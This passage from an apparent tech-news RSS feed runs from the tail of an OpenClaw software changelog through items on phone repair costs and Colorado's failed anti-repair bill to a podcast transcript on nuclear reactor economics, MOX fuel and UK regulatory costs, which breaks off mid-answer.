<li>WebChat/Control UI: support non-video file attachments in chat uploads while preserving the existing image attachment path and MIME-sniff fallback for generic image uploads. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4320611972" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70947" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70947/hovercard" href="https://github.com/openclaw/openclaw/pull/70947">#70947</a>) Thanks @IAMSamuelRodda.</li>
<li>Skills/memory: restore Chokidar v5 hot reloads by watching concrete skill and memory roots with filters, including SKILL.md removals and deleted skill folders without broad workspace recursion. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3994509566" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/27404" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/27404/hovercard" href="https://github.com/openclaw/openclaw/issues/27404">#27404</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4019092319" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/33585" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/33585/hovercard" href="https://github.com/openclaw/openclaw/issues/33585">#33585</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4048900568" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/41606" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/41606/hovercard" href="https://github.com/openclaw/openclaw/issues/41606">#41606</a>. Thanks @shelvenzhou, @08820048, and @rocke2020.</li>
<li>Gateway/chat: keep duplicate attachment-backed <code>chat.send</code> retries with the same idempotency key on the documented in-flight path so aborts still target the real active run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4308621432" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70139" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70139/hovercard" href="https://github.com/openclaw/openclaw/issues/70139">#70139</a>. Thanks @Feelw00.</li>
<li>Gateway/chat: preserve repeated boundary characters while merging assistant chat stream deltas, including repeated digits, CJK characters, and markdown/table tokens. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4232717737" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63769" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63769/hovercard" href="https://github.com/openclaw/openclaw/issues/63769">#63769</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4235786580" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63994" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63994/hovercard" href="https://github.com/openclaw/openclaw/pull/63994">#63994</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4248864686" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65457" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/65457/hovercard" href="https://github.com/openclaw/openclaw/pull/65457">#65457</a>. Thanks @yon950905 and @mohuaxiao.</li>
<li>Plugins: share package entrypoint resolution between install and discovery, reject mismatched <code>runtimeExtensions</code>, and cache bundled runtime-dependency manifest reads during scans. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>WhatsApp/Web: keep quiet but healthy linked-device sessions connected by basing the watchdog on WhatsApp Web transport activity, while retaining a longer app-silence cap so frame activity cannot mask a stuck session forever. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4317373252" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70678" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70678/hovercard" href="https://github.com/openclaw/openclaw/issues/70678">#70678</a>; carries forward the focused <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327494555" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71466" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71466/hovercard" href="https://github.com/openclaw/openclaw/pull/71466">#71466</a> approach and keeps <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4235211931" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63939" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63939/hovercard" href="https://github.com/openclaw/openclaw/pull/63939">#63939</a> as related configurable-timeout follow-up. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a> and @oromeis.</li>
<li>Discord/gateway: count failed health-monitor restart attempts toward cooldown and hourly caps, and evict stale account lifecycle state during channel reloads so repeated Discord gateway recovery cannot loop on old status. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4037442367" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/38596" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/38596/hovercard" href="https://github.com/openclaw/openclaw/issues/38596">#38596</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4042713721" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40413" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/40413/hovercard" href="https://github.com/openclaw/openclaw/pull/40413">#40413</a>) Thanks @jellyAI-dev and @vashquez.</li>
<li>TTS/BlueBubbles: pre-transcode synthesized MP3 audio to opus-in-CAF (mono, 24 kHz — validated against macOS 15.x Messages.app's native voice-memo CAF descriptor) on macOS hosts before handing the file to BlueBubbles, so iMessage renders the result as a native voice-memo bubble with proper duration and waveform UI instead of a plain file attachment. Adds an opt-in <code>tts.voice.preferAudioFileFormat</code> channel capability and a magic-byte sniff for the CAF container so the host-local-media validator (which uses <code>file-type</code> and didn't recognize CAF natively) can verify the pre-transcoded buffer. Channels that don't opt in are unaffected. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333062668" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72586" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72586/hovercard" href="https://github.com/openclaw/openclaw/pull/72586">#72586</a>) Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332675642" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72506" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72506/hovercard" href="https://github.com/openclaw/openclaw/issues/72506">#72506</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omarshahine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omarshahine">@omarshahine</a>.</li>
<li>Feishu: retry WebSocket startup failures with monitor-owned backoff while preserving SDK-local heartbeat defaults, so persistent-connection startup failures no longer leave the monitor hung. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289693476" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68766" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68766/hovercard" href="https://github.com/openclaw/openclaw/issues/68766">#68766</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4052953463" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42354" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42354/hovercard" href="https://github.com/openclaw/openclaw/issues/42354">#42354</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4148985849" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55532" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/55532/hovercard" href="https://github.com/openclaw/openclaw/issues/55532">#55532</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex-xuweilong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex-xuweilong">@alex-xuweilong</a>, @120106835, @sirfengyu, and @tianhaocui.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Insured Samsung Phone Repairs Cost Up To 60% More Than Apple]]></title>
<description><![CDATA[People who own Galaxy smartphones are spending significantly more money to fix broken screens and other damage compared to iPhone owners. Even when carrying an active insurance plan, Samsung users face higher out-of-pocket fees for repairs. A recent study by Insuranceopedia reveals that the avera...]]></description>
<link>https://tsecurity.de/de/3475548/ios-mac-os/insured-samsung-phone-repairs-cost-up-to-60-more-than-apple/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3475548/ios-mac-os/insured-samsung-phone-repairs-cost-up-to-60-more-than-apple/</guid>
<pubDate>Wed, 29 Apr 2026 20:51:20 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[People who own Galaxy smartphones are spending significantly more money to fix broken screens and other damage compared to iPhone owners. Even when carrying an active insurance plan, Samsung users face higher out-of-pocket fees for repairs. A recent study by Insuranceopedia reveals that the average insured repair for a Galaxy device runs much higher than fixing an Apple product.



The gap in pricing highlights a major difference in how each brand handles device protection plans and customer service.



Galaxy repairs feature unpredictable pricing for different damage types



The main reason for this big price difference is how each company sets up its fees. The iPhone maker uses a very simple system with fixed repair rates. If you have an active AppleCare+ plan, fixing an iPhone typically costs around $75 on average. You always know exactly what you will pay before you walk into the store.



On the other hand, the rival tech giant uses a much less predictable setup for its Care+ service. The final repair bill depends heavily on the specific phone model and the exact type of damage.



Because of this sliding scale, average repair costs range from $100 to $120. Over time, these varying fees mean a user can pay 30% to 60% more for basic fixes, adding up to hundreds of dollars in extra charges.



High repair costs push buyers away and hurt brand loyalty



The high cost of maintaining a premium device is starting to impact how buyers view the brand. Recent market research shows that the company is struggling to keep its customers. In the USA, it holds a 20.6% share of the smartphone market, which represents a 3% drop from last year. Meanwhile, its main competitor dominates the American market with a massive 63% share.



High repair bills and unpredictable service costs are driving people to switch phones. Surveys indicate that a large number of current Galaxy owners are very likely to choose a different brand for their next purchase.



The iPhone maker continues to hold onto roughly 90% of its user base when it is time for an upgrade, proving that predictable fees keep people happy.]]></content:encoded>
</item>
<item>
<title><![CDATA[Colorado's Anti-Repair Bill Is Dead]]></title>
<description><![CDATA[An anonymous reader quotes a report from Wired: A controversial bill in Colorado that would have undone some repair protections in the state has failed. The bill had been the target of right-to-repair advocates, who saw it as a bellwether for how tech companies might try to undo repair legislatio...]]></description>
<link>https://tsecurity.de/de/3475468/it-security-nachrichten/colorados-anti-repair-bill-is-dead/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3475468/it-security-nachrichten/colorados-anti-repair-bill-is-dead/</guid>
<pubDate>Wed, 29 Apr 2026 20:22:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from Wired: A controversial bill in Colorado that would have undone some repair protections in the state has failed. The bill had been the target of right-to-repair advocates, who saw it as a bellwether for how tech companies might try to undo repair legislation more broadly in the US. Colorado's landmark 2024 repair law, the Consumer Right to Repair Digital Electronic Equipment, went into effect in January 2026 and ensured access to tools and documentation people needed to modify and fix digital electronics such as phones, computers, and Wi-Fi routers. The new bill, SB26-090, would have carved out an exception to those repair protections for "critical infrastructure," a loosely defined term that repair advocates worried could be applied to just about any technology.
 
SB26-090 was introduced during a Colorado Senate hearing on April 2 and was supported by lobbying efforts from companies such as Cisco and IBM. It passed that hearing unanimously. The bill then passed in the Colorado Senate on April 16. On Monday evening, the bill was discussed in a long, delayed hearing in the Colorado House's State, Civic, Military, and Veterans Affairs Committee. Dozens of supporters and detractors gave public comments. Finally, the bill was shot down in a 7-to-4 vote and classified as postponed indefinitely. "While we were making progress at chipping away at the momentum for it, we had still been losing," said Danny Katz, executive director of the local nonprofit consumer advocacy group CoPIRG. "So, we took nothing for granted, and I believe the incredible testimony from the broad range of cybersecurity experts, businesses, repair advocates, recyclers, and people who want the freedom to fix their stuff made a big difference."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Colorado's+Anti-Repair+Bill+Is+Dead%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F04%2F29%2F1621248%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F04%2F29%2F1621248%2Fcolorados-anti-repair-bill-is-dead%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/04/29/1621248/colorados-anti-repair-bill-is-dead?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Laptop Service Center Dubai Sports City: Why Pro Athletes and Esports Tenants Are Driving a New Repair Cluster]]></title>
<description><![CDATA[In the latest development, I will talk about Laptop Service Center Dubai Sports City and show you why Pro Athletes and Esports tenants are driving a new repair cluster. Dubai, UAE – A district designed for football academies and motorsport facilities has quietly become one of Dubai’s busiest comp...]]></description>
<link>https://tsecurity.de/de/3475430/it-security-nachrichten/laptop-service-center-dubai-sports-city-why-pro-athletes-and-esports-tenants-are-driving-a-new-repair-cluster/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3475430/it-security-nachrichten/laptop-service-center-dubai-sports-city-why-pro-athletes-and-esports-tenants-are-driving-a-new-repair-cluster/</guid>
<pubDate>Wed, 29 Apr 2026 20:06:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In the latest development, I will talk about Laptop Service Center Dubai Sports City and show you why Pro Athletes and Esports tenants are driving a new repair cluster. Dubai, UAE – A district designed for football academies and motorsport facilities has quietly become one of Dubai’s busiest computer repair zones. Service ticket data from […]</p>
<p>The post <a href="https://secureblitz.com/laptop-service-center-sports-city/">Laptop Service Center Dubai Sports City: Why Pro Athletes and Esports Tenants Are Driving a New Repair Cluster</a> appeared first on <a href="https://secureblitz.com/">SecureBlitz Cybersecurity</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4628: Nuclear Power Technology Follow Up]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.


--------------------






01 Introduction






This is a follow up to my 8 part series on nuclear power.


In this episode I will answer questions posed by listeners in the comments to the series.


I would like to start by thanking the...]]></description>
<link>https://tsecurity.de/de/3472851/podcasts/hpr4628-nuclear-power-technology-follow-up/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3472851/podcasts/hpr4628-nuclear-power-technology-follow-up/</guid>
<pubDate>Wed, 29 Apr 2026 02:02:01 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>
--------------------</p>

<p>

</p>

<p>
01 Introduction</p>

<p>

</p>

<p>
This is a follow up to my 8 part series on nuclear power.</p>

<p>
In this episode I will answer questions posed by listeners in the comments to the series.</p>

<p>
I would like to start by thanking these people for taking the time to submit interesting questions.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
Costs of Small Versus Large Reactors</p>

<p>

</p>

<p>
02</p>

<p>
brian-in-ohio asked two questions </p>

<p>

</p>

<p>
The first was for a cost comparison between large and small reactors.</p>

<p>
The second was for nuclear plant safety compared to conventional power plants.</p>

<p>

</p>

<p>

</p>

<p>
03 Answer</p>

<p>
I think that any answer to the second question is going to be perceived by some people as politically controversial, so it's probably not a good topic for HPR to address. </p>

<p>

</p>

<p>
04</p>

<p>
The first question though about cost of small versus large reactors is an interesting one, although not one that is easy to give an answer to.</p>

<p>
I will restrict the answer to just grid scale electric power production and ignore use cases such as industrial process heat or power for remote mines and communities.</p>

<p>

</p>

<p>
05</p>

<p>
This question comes down to economies of scale versus economies of replication. </p>

<p>
Economies of scale centre around increased efficiencies of use of materials and labour when making something bigger.</p>

<p>
For example, the amount of steel used by a pipe increases linearly with its diameter, but the amount of fluid that it transports increases with the square. </p>

<p>

</p>

<p>
06</p>

<p>
Economies of replication come from increasing efficiencies which result from serial production. As you repeat the same design over and over again, you learn how to do things better and make fewer mistakes.</p>

<p>

</p>

<p>
07</p>

<p>
The exact same principles apply to shipbuilding. </p>

<p>
Indeed, a lot of the inspiration for Small Modular Reactors comes from the shipbuilding industry.</p>

<p>
If you build a series of identical ships, then each subsequent ship will cost less and be built faster.</p>

<p>
There are of course diminishing returns to this process, so the improvements are less with each additional unit and after a sufficient number of units the cost and time reductions level off.</p>

<p>

</p>

<p>
08</p>

<p>
However, this doesn't discount the benefits of economies of scale. </p>

<p>
What it does mean is that there are two ways of approaching the problem, and which way works in any given scenario depends on such conditions as </p>

<p>
how big the local electricity market is</p>

<p>
how fast the demand for electricity is growing, </p>

<p>
the ownership and financing structure of the electricity market, and</p>

<p>
the geography of the area, which may pose limits on the number of sites.</p>

<p>

</p>

<p>
09</p>

<p>
According to the finance people who have crunched the numbers, there are two sizes of reactor which make the most sense in the above context.</p>

<p>
These are 300 MW and 1000 MW.</p>

<p>
However, take those as very rough numbers rather than immutable laws of nature and other sizes may work as well.</p>

<p>

</p>

<p>
10</p>

<p>
The key point is that there are cases to be made for both small and large reactors, with the large reactor being several times the size of the small one.</p>

<p>

</p>

<p>
11</p>

<p>
An additional factor is that building only one reactor does not reap the benefits of efficiency of replication.</p>

<p>
You need to build a series of them on the same site.</p>

<p>
So if you are building a power plant, you don't build a power plant that has just one reactor unless you are in a small market which can only use that much power.</p>

<p>
Instead, you should build between 4 and 6 reactors in sequence next to one another.</p>

<p>

</p>

<p>
12</p>

<p>
If you are supply a large population with a growing demand for electricity, then 4 or 6 large 1000 MW reactors gains both economies of scale and economies of replication.</p>

<p>
If you are supplying a smaller population with slow growth in demand for electricity, then 4 or 6 300 MW reactors at least gets you economies of replication.</p>

<p>

</p>

<p>
13</p>

<p>
There is what could be viewed as an interesting example in terms of the above taking place just east of Toronto.</p>

<p>
There they are building four 300 MW SMRs on a site next to an existing nuclear power plant.</p>

<p>

</p>

<p>
14</p>

<p>
Here are the cost estimates from the Government of Ontario.</p>

<p>
All costs are in Canadian dollars.</p>

<p>
Unit 1 is $6.1 billion, plus $1.6 billion in costs which are shared by all four unit.s</p>

<p>
Unit 2 is $4.9 billion.</p>

<p>
Unit 3 is $4.2 billion.</p>

<p>
Unit 4 is $4.1 billion.</p>

<p>

</p>

<p>
15</p>

<p>
As you can see, building a series of reactors sequentially on the same site results in declining overall costs.</p>

<p>
They are very confident in these costs as they used data from a series of major nuclear power plant refurbishment projects in Ontario which have been coming in on time and on budget.</p>

<p>

</p>

<p>
16</p>

<p>
Construction began last year and the plant is expected to have a 65 year operating life.</p>

<p>

</p>

<p>
17</p>

<p>
However, the province of Ontario also has plans for expansion of electrical generation by about 15,000 MW by 2050 in order to meet net zero targets. </p>

<p>

</p>

<p>
18</p>

<p>
Given the heavy concentration of population in the Toronto region, </p>

<p>
and the very high cost and difficulty of building long distance transmission lines,</p>

<p>
and the limited number of sites which could host new power generation facilities of any sort,</p>

<p>
I suspect it is quite likely that subsequent reactors will be large 1,000 MW ones rather than SMRs.</p>

<p>

</p>

<p>
19</p>

<p>
The Wesleyville site (which is further east of Toronto) is tentatively scheduled for a 10,000 MW nuclear power plant. </p>

<p>
That would seem to make ten 1,000 MW reactors more likely than 34 300 MW reactors.</p>

<p>

</p>

<p>
20</p>

<p>
I don't have a comparable set of numbers for building large reactors to give an exact apples to apples comparison of costs. </p>

<p>
Different countries use different accounting and financing systems, and finance makes a huge difference to overall costs for nuclear power as operating costs are a relatively small share of the total. </p>

<p>

</p>

<p>
21</p>

<p>
Now to look at another side of this equation, the provinces of Saskatchewan and New Brunswick wish to replace their coal fired power plants with nuclear power plants.</p>

<p>
The populations of these provinces are too small to absorb a large new power plant into their grids, and studies assuming large reactors have foundered on this issue.</p>

<p>

</p>

<p>
22</p>

<p>
New Brunswick already have a nuclear power plant, but it was build in the days when reactors were much smaller.</p>

<p>
Both provinces however are very interested in small reactors, even individual ones, in order to replace the coal fired plants that are of similar size.</p>

<p>

</p>

<p>
23</p>

<p>
I think this covers the cost versus size issue.</p>

<p>
The more I look into it, the more it becomes apparent that there is no simple one size fits all answer but rather there are a series of trade-offs which must be taken in light of local circumstances. </p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
MOX Fuel in the USA</p>

<p>

</p>

<p>
24</p>

<p>
The next question comes from mnw who asked about the use of MOX fuel in the USA.</p>

<p>

</p>

<p>
25</p>

<p>
mnw asked</p>

<p>
I am enjoying and look forward to the rest of the series. Do you think the US will ever wake up and start recycling its spent fuel? It seems like such a huge waste just to try and keep a small amount of fuel away from"the bad guys" or whatever they are imagining. </p>

<p>

</p>

<p>

</p>

<p>
Answer</p>

<p>
26</p>

<p>
My answer to this is as follows.</p>

<p>
I think I've addressed this in the original series, although not directly with respect to the US so I can provide some more detail on that aspect of it. </p>

<p>

</p>

<p>
27</p>

<p>
First though I will review what plutonium-uranium mixed oxide (MOX) fuel is.</p>

<p>
As mentioned in previous episodes, military grade plutonium is not the same as the plutonium which comes out of commercial power reactors.</p>

<p>
Just as military grade uranium requires nearly pure U-235 isotope, military grade plutonium requires nearly pure Pu-239 isotope.</p>

<p>

</p>

<p>
28</p>

<p>
What comes out of a commercial power reactor as spent fuel is not usable for weapons purposes as the proportion of Pu-239 is much too low.</p>

<p>
However, plutonium recovered from spent fuel can be used as fuel for nuclear reactors in place of uranium 235 when mixed with uranium 238 either left over from enrichment or extracted from spent fuel.</p>

<p>
This is what is known as MOX fuel.</p>

<p>

</p>

<p>

</p>

<p>
29</p>

<p>
To look at the US history of this however, here's the sequence of events.</p>

<p>
The US banned fuel reprocessing in 1976.</p>

<p>
However, this ban was repealed in 1981.</p>

<p>

</p>

<p>
30</p>

<p>
In 2005, the US began building a mixed-oxide (MOX) fuel plant at Savannah River in the state of South Carolina.</p>

<p>
However, this plant was not intended as a normal commercial operation and it was not intended to recycle commercial nuclear power plant fuel.</p>

<p>
It was instead intended to convert surplus military grade plutonium into commercial fuel in order to get rid of it as part of an arms control program. </p>

<p>

</p>

<p>
31</p>

<p>
The program was suspended in 2018.</p>

<p>
There were apparently many complex political issues involved in these on-again off-again decisions and I won't pretend to have the time or interest to explore all the details nor do I think most listeners would be interested in hearing abou them. </p>

<p>

</p>

<p>
32</p>

<p>
As of March 2026, the US are looking at reviving part of the Savannah River plant to produce limited amounts of fuel for testing of advanced reactors.</p>

<p>
The issue driving this is the shortage of uranium enriched to just below 20%. </p>

<p>
This fuel is used in certain types of small SMR. </p>

<p>

</p>

<p>
33</p>

<p>
The main commercial supplier of this material was a plant in Russia, but "certain events in Europe in recent years" shall we say, have resulted in that supply no longer being available to commercial operations in the US. </p>

<p>
MOX fuel based on surplus weapons grade plutonium is intended as a short term quick fix for that problem. </p>

<p>

</p>

<p>
34</p>

<p>
Another driving force is legal requirements following from domestic commitments for the US government to dispose of certain stockpiles of weapons grade plutonium from certain sites in the US where it is "temporarily" stored, and the solution to that is seen as burning it up in power reactors. </p>

<p>

</p>

<p>
35</p>

<p>
So the history is the US banned fuel reprocessing.</p>

<p>
Then a few years later they un-banned it.</p>

<p>
Then the US government started building a MOX plant which was intended to get rid of surplus weapons grade material by burning it up in power reactors.</p>

<p>
Then they decided they didn't want to do that.</p>

<p>
Then they decided they may want to make MOX fuel after all to replace supplies of special grades of fuel for experimental or prototype reactors.</p>

<p>

</p>

<p>
36</p>

<p>
What is missing from the above history is any actual interest from the US commercial nuclear industry in MOX fuel.</p>

<p>
The reason for this is, as mentioned in the previous episodes, uranium is so cheap and abundant that fuel made from fresh uranium is cheaper than MOX fuel.</p>

<p>

</p>

<p>
37</p>

<p>
Some countries such as France wish to recycle spent fuel to reduce their dependence upon imports. </p>

<p>
Recall that France's drive to build nuclear power plants was in response to the 1970s era energy crisis when oil imports from the Middle East were suddenly cut off.</p>

<p>
However, the US are not concerned about this issue and so do not make it national security policy as France did.</p>

<p>

</p>

<p>
38</p>

<p>
As a result, US commercial demand is for cheaper fuel made from fresh uranium rather than for MOX fuel.</p>

<p>
Until such time as fresh uranium greatly increases in price there is little economic incentive for the use of MOX fuel in the US.</p>

<p>

</p>

<p>
39</p>

<p>
However, there is another aspect to this.</p>

<p>
If you recall in previous episodes I described molten salt reactors which used dissolved uranium fuel.</p>

<p>
These reactors inherently reprocess fuel as part of their normal operation.</p>

<p>
They just do it as part of maintaining the molten salt chemistry at the correct values rather than doing it as a separate process.</p>

<p>

</p>

<p>
40</p>

<p>
If these types of reactors become widely used then they would be achieving the same thing as creating MOX fuel, but without an explicit separate step.</p>

<p>

</p>

<p>
41</p>

<p>
As a final footnote to the above, the US has almost exclusively use enriched uranium light water reactors.</p>

<p>
As mentioned in previous episodes, there are ways of recycling spent fuel from light water reactors which do not involve chemically reprocessing it to make MOX fuel.</p>

<p>

</p>

<p>
42</p>

<p>
Experiments have been done involving South Korea, China, and Canada which take spent fuel from light water reactors and repackage it to fit it into natural uranium heavy water reactors. </p>

<p>
What is used up or "spent" fuel for a light water reactor is high grade fuel to a natural uranium reactor.</p>

<p>
However, the US has, for whatever reason, never built commercial natural uranium reactors such as are used in a number of other countries around the world.</p>

<p>

</p>

<p>
43</p>

<p>
If they were to do so, then nuclear fuel could be used twice, once in a light water reactor, and again in a natural uranium reactor, all without having to turn it into MOX fuel in a separate reprocessing step.</p>

<p>
However, this particular alternative would likely face the same issue in the sense that fresh fuel would still be cheaper than reusing spent fuel.</p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
A Variety of Questions from Clinton</p>

<p>

</p>

<p>
44</p>

<p>
Next we have a variety of questions from Clinton.</p>

<p>

</p>

<p>
Clinton asked</p>

<p>

</p>

<p>
I would like some commentary in the current situation, </p>

<p>
why has hinkley gone off the rails, </p>

<p>
the new american approach, </p>

<p>
the odd things done after fukushima, </p>

<p>
the new radiation rules in the states.</p>

<p>

</p>

<p>

</p>

<p>
45 Question 1</p>

<p>
why has hinkley gone off the rails, </p>

<p>

</p>

<p>
46 Answer</p>

<p>
The question refers to cost overruns at the Hinkley Point nuclear power project in the UK.</p>

<p>

</p>

<p>
The UK government looked into this issue in a more general sense in 2025.</p>

<p>
They published a report on it titled</p>

<p>

</p>

<p>
Nuclear Regulatory Review 2025</p>

<p>
Enabling nuclear delivery through regulatory reform</p>

<p>
John Fingleton</p>

<p>

</p>

<p>
There is a link to the report in the show notes.</p>

<p>
https://assets.publishing.service.gov.uk/media/692080f75c394e481336ab89/nuclear-regulatory-review-2025.pdf</p>

<p>

</p>

<p>
47</p>

<p>
As the report is 162 pages long, I won't try to cover it all in this answer. I will however give a few simple examples.</p>

<p>

</p>

<p>
The report focuses on civilian nuclear power and the defence nuclear industry as well. </p>

<p>
However it also draws examples from outside the nuclear industry to show that the problem is not limited to nuclear.</p>

<p>
It shows that the same problems exist in the offshore wind industry, and in the HS2 High Speed Rail project.</p>

<p>

</p>

<p>
48</p>

<p>
In the view of the authors of the report, the essence of the problem seems to be a lack of any degree of proportionality in terms of mitigating negative effects from any project.</p>

<p>
Big nuclear projects make the headlines because they are inherently big projects, but as I have just mentioned, they affect things like wind power development and rail transport as well.</p>

<p>

</p>

<p>
49</p>

<p>
I will pick one example from Hinkley Point specifically.</p>

<p>
This is "Case Study: Hinkley Point C Fish Protection"</p>

<p>
A summary of this is that they spent £700 million of additional money on the cooling water intakes to protect an estimated 0.083 salmon per year, along with 0.028 sea trout, 6 river lamprey, 18 Allis shad, and somewhere between 100 and 528 twaite shad. </p>

<p>
The report points out that there are ways to protect far more fish for far less money by spending it in other areas, and gives some examples.</p>

<p>

</p>

<p>
Again, this problem is not limited to nuclear power, and they give similar examples connected with offshore wind development and HS2 High Speed Rail.</p>

<p>

</p>

<p>
50</p>

<p>
I would like to emphasize that I am not expressing an opinion on whether or not any of these decisions were good or bad ones or whether the money was well spent.</p>

<p>
I am just summarizing the report's explanation of why large projects of all sorts initiated and approved by the UK parliament were not turning out as initially expected.</p>

<p>

</p>

<p>
I will leave it up to people in the UK to decide whether or not they are satisfied with the current situation.</p>

<p>

</p>

<p>
51 Question 2</p>

<p>
the new american approach, </p>

<p>

</p>

<p>
52 Answer</p>

<p>

</p>

<p>
The US have apparently announced changes to their regulatory system.</p>

<p>
I don't know enough about the subject to really judge the practical effects of regulation within the US.</p>

<p>
However, I have read and listened to many interviews of people from both the industry and the regulatory side of things who are from outside the US but are familiar with it.</p>

<p>
They generally contrast two different approaches to regulation.</p>

<p>
On the one hand there is the US approach, which they see as being more of a box ticking exercise than an in depth safety review.</p>

<p>
This makes it very hard to get a design other than a traditional PWR or BWR approved in the US.</p>

<p>

</p>

<p>
53</p>

<p>
It has the advantage from the regulator side of things though in that it reduces the amount of work required as it primarily requires just following a set of defined procedures. </p>

<p>
These people then contrast that approach with the one used in the UK and in Canada, both of which they see as being very similar to one another.</p>

<p>
In those two countries, regulators work with industry to review designs from basic principles rather than just seeing if it meets a pre-defined list of criteria. </p>

<p>
This is a results oriented system rather than a process oriented system as used in the US.</p>

<p>

</p>

<p>
54</p>

<p>
As a result of this, designers of new nuclear reactors are going to the UK and Canada first to go through preliminary review there, and only going to the US later.</p>

<p>
